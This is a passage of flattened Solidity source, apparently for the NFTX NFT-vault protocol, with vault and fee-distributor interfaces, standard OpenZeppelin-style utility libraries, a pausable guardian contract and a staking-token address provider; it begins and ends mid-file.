function vaultsForAsset(address asset) external view returns (address[] memory);
function isLocked(uint256 id) external view returns (bool);
function excludedFromFees(address addr) external view returns (bool);
event NewFeeDistributor(address oldDistributor, address newDistributor);
event NewZapContract(address oldZap, address newZap);
event FeeExclusion(address feeExcluded, bool excluded);
event NewEligibilityManager(address oldEligManager, address newEligManager);
event NewVault(uint256 indexed vaultId, address vaultAddress, address assetAddress);
// Write functions.
function __NFTXVaultFactory_init(address _vaultImpl, address _feeDistributor) external;
function createVault(
string calldata name,
string calldata symbol,
address _assetAddress,
bool is1155,
bool allowAllItems
) external returns (uint256);
function setFeeDistributor(address _feeDistributor) external;
function setEligibilityManager(address _eligibilityManager) external;
function setZapContract(address _zapContract) external;
function setFeeExclusion(address _excludedAddr, bool excluded) external;
}
// File contracts/solidity/interface/INFTXFeeDistributor.sol
pragma solidity ^0.8.0;
interface INFTXFeeDistributor {
struct FeeReceiver {
uint256 allocPoint;
address receiver;
bool isContract;
}
function nftxVaultFactory() external returns (address);
function lpStaking() external returns (address);
function treasury() external returns (address);
function defaultTreasuryAlloc() external returns (uint256);
function defaultLPAlloc() external returns (uint256);
function allocTotal(uint256 vaultId) external returns (uint256);
function specificTreasuryAlloc(uint256 vaultId) external returns (uint256);
// Write functions.
function __FeeDistributor__init__(address _lpStaking, address _treasury) external;
function rescueTokens(address token) external;
function distribute(uint256 vaultId) external;
function addReceiver(uint256 _vaultId, uint256 _allocPoint, address _receiver, bool _isContract) external;
function initializeVaultReceivers(uint256 _vaultId) external;
function changeMultipleReceiverAlloc(
uint256[] memory _vaultIds,
uint256[] memory _receiverIdxs,
uint256[] memory allocPoints
) external;
function changeMultipleReceiverAddress(
uint256[] memory _vaultIds,
uint256[] memory _receiverIdxs,
address[] memory addresses,
bool[] memory isContracts
) external;
function changeReceiverAlloc(uint256 _vaultId, uint256 _idx, uint256 _allocPoint) external;
function changeReceiverAddress(uint256 _vaultId, uint256 _idx, address _address, bool _isContract) external;
function removeReceiver(uint256 _vaultId, uint256 _receiverIdx) external;
// Configuration functions.
function setTreasuryAddress(address _treasury) external;
function setDefaultTreasuryAlloc(uint256 _allocPoint) external;
function setSpecificTreasuryAlloc(uint256 _vaultId, uint256 _allocPoint) external;
function setLPStakingAddress(address _lpStaking) external;
function setNFTXVaultFactory(address _factory) external;
function setDefaultLPAlloc(uint256 _allocPoint) external;
}
// File contracts/solidity/token/IERC20Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/solidity/interface/IRewardDistributionToken.sol
pragma solidity ^0.8.0;
interface IRewardDistributionToken is IERC20Upgradeable {
function distributeRewards(uint amount) external;
function __RewardDistributionToken_init(IERC20Upgradeable _target, string memory _name, string memory _symbol) external;
function mint(address account, address to, uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
function withdrawReward(address user) external;
function dividendOf(address _owner) external view returns(uint256);
function withdrawnRewardOf(address _owner) external view returns(uint256);
function accumulativeRewardOf(address _owner) external view returns(uint256);
}
// File contracts/solidity/util/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File contracts/solidity/util/SafeERC20Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using Address for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/solidity/proxy/Initializable.sol
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File contracts/solidity/util/ContextUpgradeable.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File contracts/solidity/util/OwnableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File contracts/solidity/util/SafeMathUpgradeable.sol
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// File contracts/solidity/util/PausableUpgradeable.sol
pragma solidity ^0.8.0;
contract PausableUpgradeable is OwnableUpgradeable {
function __Pausable_init() internal initializer {
__Ownable_init();
}
event SetPaused(uint256 lockId, bool paused);
event SetIsGuardian(address addr, bool isGuardian);
mapping(address => bool) public isGuardian;
mapping(uint256 => bool) public isPaused;
// 0 : createVault
// 1 : mint
// 2 : redeem
// 3 : swap
// 4 : flashloan
function onlyOwnerIfPaused(uint256 lockId) public view virtual {
require(!isPaused[lockId] || msg.sender == owner(), "Paused");
}
function unpause(uint256 lockId)
public
virtual
onlyOwner
{
isPaused[lockId] = false;
emit SetPaused(lockId, false);
}
function pause(uint256 lockId) public virtual {
require(isGuardian[msg.sender], "Can't pause");
isPaused[lockId] = true;
emit SetPaused(lockId, true);
}
function setIsGuardian(address addr, bool _isGuardian) public virtual onlyOwner {
isGuardian[addr] = _isGuardian;
emit SetIsGuardian(addr, _isGuardian);
}
}
// File contracts/solidity/proxy/ClonesUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library ClonesUpgradeable {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt, address deployer) internal pure returns (address predicted) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) {
return predictDeterministicAddress(implementation, salt, address(this));
}
}
// File contracts/solidity/token/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File contracts/solidity/StakingTokenProvider.sol
pragma solidity ^0.8.0;
// Author: 0xKiwi.
contract StakingTokenProvider is OwnableUpgradeable {
address public uniLikeExchange;
address public defaultPairedToken;
string public defaultPrefix;
mapping(address => address) public pairedToken;
mapping(address => string) public pairedPrefix;
event NewDefaultPaired(address oldPaired, address newPaired);
event NewPairedTokenForVault(address vaultToken, address oldPairedtoken, address newPairedToken);
// This is an address provder to allow us to abstract out what liquidity
// our vault tokens should be paired with.
function __StakingTokenProvider_init(address _uniLikeExchange, address _defaultPairedtoken, string memory _defaultPrefix) public initializer {
__Ownable_init();
require(_uniLikeExchange != address(0), "Cannot be address(0)");
require(_defaultPairedtoken != address(0), "Cannot be address(0)");
uniLikeExchange = _uniLikeExchange;
defaultPairedToken = _defaultPairedtoken;
defaultPrefix = _defaultPrefix;
}
function setPairedTokenForVaultToken(address _vaultToken, address _newPairedToken, string calldata _newPrefix) external onlyOwner {
require(_newPairedToken != address(0), "Cannot be address(0)");
emit NewPairedTokenForVault(_vaultToken, pairedToken[_vaultToken], _newPairedToken);
pairedToken[_vaultToken] = _newPairedToken;
pairedPrefix[_vaultToken] = _newPrefix;
}
function setDefaultPairedToken(address _newDefaultPaired, string calldata _newDefaultPrefix) external onlyOwner {
emit NewDefaultPaired(defaultPairedToken, _newDefaultPaired);
defaultPairedToken = _newDefaultPaired;
defaultPrefix = _newDefaultPrefix;
}
function stakingTokenForVaultToken(address _vaultToken) external view returns (address) {
address _pairedToken = pairedToken[_vaultToken];
if (_pairedToken == address(0)) {
_pairedToken = defaultPairedToken;
}
return pairFor(uniLikeExchange, _vaultToken, _pairedToken);
}
function nameForStakingToken(address _vaultToken) external view returns (string memory) {
string memory _pairedPrefix = pairedPrefix[_vaultToken];
if (bytes(_pairedPrefix).length == 0) {
_pairedPrefix = defaultPrefix;
}
address _pairedToken = pairedToken[_vaultToken];
if (_pairedToken == address(0)) {
_pairedToken = defaultPairedToken;
}
string memory symbol1 = IERC20Metadata(_vaultToken).symbol();
string memory symbol2 = IERC20Metadata(_pairedToken).symbol();
return string(abi.encodePacked(_pairedPrefix, symbol1, symbol2));
}
function pairForVaultToken(address _vaultToken, address _pairedToken) external view returns (address) {
return pairFor(uniLikeExchange, _vaultToken, _pairedToken);
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
}
// File contracts/solidity/token/ERC20Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
function _setMetadata(string memory name_, string memory symbol_) internal {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
